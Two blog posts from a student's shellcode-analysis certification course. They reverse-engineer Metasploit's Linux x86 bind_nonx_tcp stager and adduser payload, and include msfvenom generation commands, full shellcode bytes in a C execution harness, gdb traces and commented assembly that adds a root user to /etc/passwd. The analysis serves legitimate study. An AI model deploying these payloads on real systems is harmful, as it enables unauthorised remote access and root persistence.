Category Archives: SLAE Course Blog

SLAE 5.3: linux/x86/shell/bind_nonx_tcp shellcode analysis

SLAE_logo2

Content

  1. Introduction
  2. Generate shellcode
  3. Analysis
  4. Conclusion
  5. Execute re-engineered shellcode

1. Introduction

In previous chapters we’ve looked into the meterpreter reverse tcp shell & the adduser shellcodes.
Today I am going to dig into the linux/x86/shell/bind_nonx_tcp shellcode to find the difference between the normal and the noNX payloads.

2. Generate shellcode

I am going to create the raw shellcode and shoot it through ndisasm to disassemble it:

msfvenom -p linux/x86/shell/bind_nonx_tcp LPORT=1337  -a x86 --platform Linux | ndisasm -u -
No encoder or badchars specified, outputting raw payload

00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  43                inc ebx
00000004  53                push ebx
00000005  6A02              push byte +0x2
00000007  6A66              push byte +0x66
00000009  58                pop eax
0000000A  99                cdq
0000000B  89E1              mov ecx,esp
0000000D  CD80              int 0x80
0000000F  96                xchg eax,esi
00000010  43                inc ebx
00000011  52                push edx
00000012  66680539          push word 0x3905
00000016  6653              push bx
00000018  89E1              mov ecx,esp
0000001A  6A66              push byte +0x66
0000001C  58                pop eax
0000001D  50                push eax
0000001E  51                push ecx
0000001F  56                push esi
00000020  89E1              mov ecx,esp
00000022  CD80              int 0x80
00000024  B066              mov al,0x66
00000026  D1E3              shl ebx,1
00000028  CD80              int 0x80
0000002A  52                push edx
0000002B  52                push edx
0000002C  56                push esi
0000002D  43                inc ebx
0000002E  89E1              mov ecx,esp
00000030  B066              mov al,0x66
00000032  CD80              int 0x80
00000034  93                xchg eax,ebx
00000035  B60C              mov dh,0xc
00000037  B003              mov al,0x3
00000039  CD80              int 0x80
0000003B  89DF              mov edi,ebx
0000003D  FFE1              jmp ecx

Looks familiar with it’s 4 0x66 system calls: It’s pretty much the same as the bind shell in section 1 of this blog except the last bit were it executes a second stage shellcode instead of /bin/shell.
Why don’t we pipe it through libemu to get pretty pictures?

msfvenom -p linux/x86/shell/bind_nonx_tcp LPORT=1337 -a x86 --platform Linux | /usr/bin/sctest -vvv -Ss 100000 -G msf_nonx_bind_shell.dot
dot msf_nonx_bind_shell.dot -Tpng -o msf_nonx_bind_shell.png

And here we have it:

msf_nonx_bind_shell

Libemu also provides us with a high level syntax interpretation:

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fba => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 14597 (port=1337);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=0.0.0.0);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int listen (
     int s = 14;
     int backlog = 4288442;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000000 => 
         none;
) =  19;

3. Analysis

libemu choked a bit at the end again but it visualizes the disassembly well enough to make sense of it at first glance.

I am going to copy and paste the disassembled code into it’s own source file and add some comments as I go (mostly some information from the relevant man pages of the system calls as well as from our favorite system call table):

; Filename: msf_non_bind_shell.nasm
; Author: Metasploit
; Analysed by Re4son 
; Purpose: Disassembly of msf linux/x86/shell/bind_nonx_tcp
;          for research purpose


global _start           

section .text

_start:

    ; --- socket - create an endpoint for communication ---
    ; int socket(int domain, int type, int protocol)

    xor    ebx,ebx	; zero out ebx
    push   ebx          ; push IPPROTO = 0
    inc    ebx
    push   ebx          ; push SOCK_STREAM=1
    push   0x2          ; push AF_INET=2
    push   0x66 	; put sys_socketcall
    pop    eax		;  into eax
    cdq			; zero out edx
    mov    ecx,esp	; store pointer to arguments in ecx
    int    0x80         ; invoke system call
    xchg   eax,esi	; store the socket file descriptor in esi


    ; --- bind - bind a name to a socket ---
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

    inc ebx	    	; increase the sub call function number to 2 for bind
    push edx        	; INADDR_ANY
    push word 0x3905	; port 1337 in little endian
    push word bx   	; AF_INET
    mov ecx, esp    	; store pointer to the structure in ecx
    push   0x66 	; put sys_socketcall
    pop    eax		;  into eax
    push eax         	; and use it as sizeof(struct sockaddr_in)
    push ecx        	; &serv_addr
    push esi        	; our socket descriptor
    mov ecx, esp    	; store pointer to arguments in ecx
    int 0x80        	; execute system call


    ; --- listen - listen for connections on a socket ---
    ; int listen(int sockfd, int backlog)
    mov al, 0x66   	; store sys_socketcall system call number in eax
    shl ebx,1		; increase ebx to 4 for listen sub function call number
    int 0x80        	; execute system call


    ; --- accept - accept a connection on a socket ---
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
    push edx        	; NULL addrlen
    push edx        	; NULL sockaddr
    push esi        	; sockfd
    inc ebx	    	; increase sub function number in bl to 5 for accept
    mov ecx, esp    	; store pointer to arguments in ecx
    mov eax, 0x66    	; store sys_socketcall system call number in eax
    int 0x80        	; execute system call
    xchg eax, ebx    	; store the new socket file descriptor in ebx for later


    ; --- read - read from a file descriptor (receive 2n stage shellcode)
    ; ssize_t read(int fd, void *buf, size_t count)
    ; note that ecx still points to our previous arguments on the stack
    ;   we will re-use that region as buffer
    mov    dh,0xc             ; set the size to 3072 bytes
    mov    al,0x3             ; move sys_read into al
    int    0x80               ; invoke read system call


    ; transfer execution to the second stage
    mov edi,ebx		      ; store socket file descriptor in edi
    jmp ecx		      ; execute second stage

There we have it. All explained in the source code.

The only really new bit in this code is the lack of initializing a buffer to receive the second stage shellcode.
We are simply overwriting the area of the stack that we used previously.

4. Conclusion

  • Regular shellcode is suitable for systems with data execution prevention by using mprotect to create an executable buffer.
  • NoNX shellcode omits this step in favor of size but the stack must be executable.

5. Execute re-engineered shellcode

Let’s run it to ensure that everything I did and said actually works:

slae05_04

Great. It all makes sense now.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail

SLAE 5.2: linux/x86/adduser shellcode analysis

SLAE_logo2

Content

  1. Introduction
  2. Generate shellcode
  3. Compile POC and retrieve shellcode source
  4. Disassemble and analyze shellcode

1. Introduction

After looking into the meterpreter reverse shell in the last post I am going to analyze the linux/x86/adduser payload today.

2. Generate shellcode

A few things to be aware of when dissecting msf payloads:

  • the shellcodes will lack sections, thus the use of objdump will be limited. We could try forcing it to work via the following command but I decided against it:
    objdump -b binary -D -m i386 <shellcode> -M intel
  • piping the output from msfvenom to “ndisasm -u -” would produce assembly code in a weird dialect and that would confuse me.

I am going to create the raw shellcode to paste into our shellcode.c:

msfvenom -p linux/x86/adduser USER=re4son PASSWORD=w00tw00t  -a x86 --platform Linux -f c
No encoder or badchars specified, outputting raw payload
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x72\x65"
"\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34"
"\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01"
"\x58\xcd\x80";

 

Let’s pop it into our POC:

#include <stdio.h>
#include <string.h> 

unsigned char code[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x72\x65"
"\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34"
"\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01"
"\x58\xcd\x80";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

3. Compile the POC and extract the shellcode source code

We know that it works so let’s jump right into it with gdb:

gdb -q msf-adduser-shellcode
Reading symbols from /root/git/slae-assignment5/msf-adduser-shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break main
Breakpoint 1 at 0x804844f
(gdb) run
Starting program: msf-adduser-shellcode 
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000

Breakpoint 1, 0x0804844f in main ()
(gdb) disassemble 
Dump of assembler code for function main:
   0x0804844c <+0>:	push   ebp
   0x0804844d <+1>:	mov    ebp,esp
=> 0x0804844f <+3>:	and    esp,0xfffffff0
   0x08048452 <+6>:	sub    esp,0x20
   0x08048455 <+9>:	mov    DWORD PTR [esp],0x8049700
   0x0804845c <+16>:	call   0x8048340 <strlen@plt>
   0x08048461 <+21>:	mov    DWORD PTR [esp+0x4],eax
   0x08048465 <+25>:	mov    DWORD PTR [esp],0x8048520
   0x0804846c <+32>:	call   0x8048320 <printf@plt>
   0x08048471 <+37>:	mov    DWORD PTR [esp+0x1c],0x8049700
   0x08048479 <+45>:	mov    eax,DWORD PTR [esp+0x1c]
   0x0804847d <+49>:	call   eax
   0x0804847f <+51>:	leave  
   0x08048480 <+52>:	ret    
End of assembler dump.
(gdb) break *0x0804847d
Breakpoint 2 at 0x804847d
(gdb) c
Continuing.
Shellcode Length:  40

Breakpoint 2, 0x0804847d in main ()
(gdb) stepi
0x08049700 in code ()
1: /x $eax = 0x8049700
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x08049700 <+0>:	xor    ecx,ecx
   0x08049702 <+2>:	mov    ebx,ecx
   0x08049704 <+4>:	push   0x46
   0x08049706 <+6>:	pop    eax
   0x08049707 <+7>:	int    0x80
   0x08049709 <+9>:	push   0x5
   0x0804970b <+11>:	pop    eax
   0x0804970c <+12>:	xor    ecx,ecx
   0x0804970e <+14>:	push   ecx
   0x0804970f <+15>:	push   0x64777373
   0x08049714 <+20>:	push   0x61702f2f
   0x08049719 <+25>:	push   0x6374652f
   0x0804971e <+30>:	mov    ebx,esp
   0x08049720 <+32>:	inc    ecx
   0x08049721 <+33>:	mov    ch,0x4
   0x08049723 <+35>:	int    0x80
   0x08049725 <+37>:	xchg   ebx,eax
   0x08049726 <+38>:	call   0x804974f <code+79>
   0x0804972b <+43>:	jb     0x8049792
   0x0804972d <+45>:	xor    al,0x73
   0x0804972f <+47>:	outs   dx,DWORD PTR ds:[esi]
   0x08049730 <+48>:	outs   dx,BYTE PTR ds:[esi]
   0x08049731 <+49>:	cmp    al,BYTE PTR [ecx+0x7a]
   0x08049734 <+52>:	das    
   0x08049735 <+53>:	fs
   0x08049736 <+54>:	dec    ecx
   0x08049737 <+55>:	jae    0x80497a3
   0x08049739 <+57>:	xor    al,0x70
   0x0804973b <+59>:	xor    al,0x49
   0x0804973d <+61>:	push   edx
   0x0804973e <+62>:	arpl   WORD PTR [edx],di
   0x08049740 <+64>:	xor    BYTE PTR [edx],bh
   0x08049742 <+66>:	xor    BYTE PTR [edx],bh
   0x08049744 <+68>:	cmp    ch,BYTE PTR [edi]
   0x08049746 <+70>:	cmp    ch,BYTE PTR [edi]
   0x08049748 <+72>:	bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804974b <+75>:	das    
   0x0804974c <+76>:	jae    0x80497b6
   0x0804974e <+78>:	or     bl,BYTE PTR [ecx-0x75]
   0x08049751 <+81>:	push   ecx
   0x08049752 <+82>:	cld    
   0x08049753 <+83>:	push   0x4
   0x08049755 <+85>:	pop    eax
   0x08049756 <+86>:	int    0x80
   0x08049758 <+88>:	push   0x1
   0x0804975a <+90>:	pop    eax
   0x0804975b <+91>:	int    0x80
End of assembler dump.
(gdb)

And there is our adduser shellcode in assembly.

4. Disassemble and analyze shellcode

We have one problem though: Where is our adduser string?
I suppose we are adding a new line to /etc/passwd so we should have this line somewhere, which at least must contain the string “re4son”.
The string must be sitting in the midst of the text section and gdb has disassembled it nicely.
Now let’s find it and convert it back.
Looking at the code above, we can see a call without return:

0x08049726 <+38>:	call   0x804974f <code+79>

That looks suspiciously like a call & pop trick to get the address of our string.
Why don’t we get back to gdb and analyze the memory after that call?
The jump goes to code+79 and the string probably starts at code+43.
Let’s look at the 36 bytes in between

(gdb) x/36cb 0x0804972b
0x804972b <code+43>:	114 'r'	101 'e'	52 '4'	115 's'	111 'o'	110 'n'	58 ':'	65 'A'
0x8049733 <code+51>:	122 'z'	47 '/'	100 'd'	73 'I'	115 's'	106 'j'	52 '4'	112 'p'
0x804973b <code+59>:	52 '4'	73 'I'	82 'R'	99 'c'	58 ':'	48 '0'	58 ':'	48 '0'
0x8049743 <code+67>:	58 ':'	58 ':'	47 '/'	58 ':'	47 '/'	98 'b'	105 'i'	110 'n'
0x804974b <code+75>:	47 '/'	115 's'	104 'h'	10 '\n'

There we have it.
Let’s incorporate it into our source code.

Something seems fishy though: the jump goes to 0x804974f but our disassembled code has the following two lines:

0x0804974e <+78>:	or     bl,BYTE PTR [ecx-0x75]
0x08049751 <+81>:	push   ecx

Two bytes got lost during this conversion due to misalignment. Let’s get them back:

(gdb) x/4i 0x804974f
0x804974f <code+79>:	pop    ecx
0x8049750 <code+80>:	mov    edx,DWORD PTR [ecx-0x4]
0x8049753 <code+83>:	push   0x4
0x8049755 <code+85>:	pop    eax
(gdb)

Here we go, these two instructions make more sense than the push ecx & cld we had before.

On more quick look into the three dwords pushed onto the stack starting at address 0x0804970f:

(gdb) x/5cb 0x0804970f
0x804970f <code+15>:	104 'h'	115 's'	115 's'	119 'w'	100 'd'
(gdb) x/5cb 0x08049714
0x8049714 <code+20>:	104 'h'	47 '/'	47 '/'	112 'p'	97 'a'
(gdb) x/5cb 0x08049719
0x8049719 <code+25>:	104 'h'	47 '/'	101 'e'	116 't'	99 'c'

Awesome; that’s obviously the file we want to edit: /etc//passwd.
Now that we’ve got the proper pieces, I’m going to put it into it’s own source file for detailed analysis:

; Filename: msf-adduser.nasm
; Author: Metasploit
; Analysed by Re4son <re4son [at] whitedome.com.au>
; Purpose: Disassembly of msf linux/adduser
; for research purpose


global _start 

section .text

_start:
 ; setreuid() sets real and effective user IDs of the calling process
 ; int setreuid(uid_t ruid, uid_t euid)
 xor ecx,ecx ; zero out ecx
 mov ebx,ecx ; and ebx
 push 0x46 ; put sys_setreuid
 pop eax ; into eax
 int 0x80 ; and invoke system call


 ; open, create - open and possibly create a file or device
 ; int open(const char *pathname, int flags)
 push 0x5 ; put sys_open
 pop eax ; into eax
 xor ecx,ecx ; zero out ecx
 push ecx ; push null terminator onto stack
 push dword 0x64777373 ; push sswd
 push dword 0x61702f2f ; push //pa
 push dword 0x6374652f ; push /etc
 mov ebx,esp ; store pointer to file name in ebx
 inc ecx ; set O_WRONLY flag (01)
 mov ch,0x4 ; set O_APPEND flag (02000)
 int 0x80 ; and invoke system call


 ; write - write to a file descriptor
 ; ssize_t write(int fd, const void *buf, size_t count)
 xchg ebx,eax ; store file descriptor in ebx
 call adduser ; call/pop trick to get our db address

db "re4son:Az/dIsj4p4IRc:0:0::/:/bin/sh"
 
adduser:
 pop ecx ; put the pointer to our string in ecx
 mov edx, [ecx-0x4] ; put the size in edx
 push 0x4 ; put sys_write
 pop eax ; into eax
 int 0x80 ; and invoke system call


 ; exit - terminate the calling process
 ; void _exit(int status)
 push 0x1 ; put sys_exit
 pop eax ; in eax
 int 0x80 ; so long and thanks for all the fish

That’s it. All clear as mud now.

Let’s assemble, link and run it for good measure:

slae05_03

Perfect.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail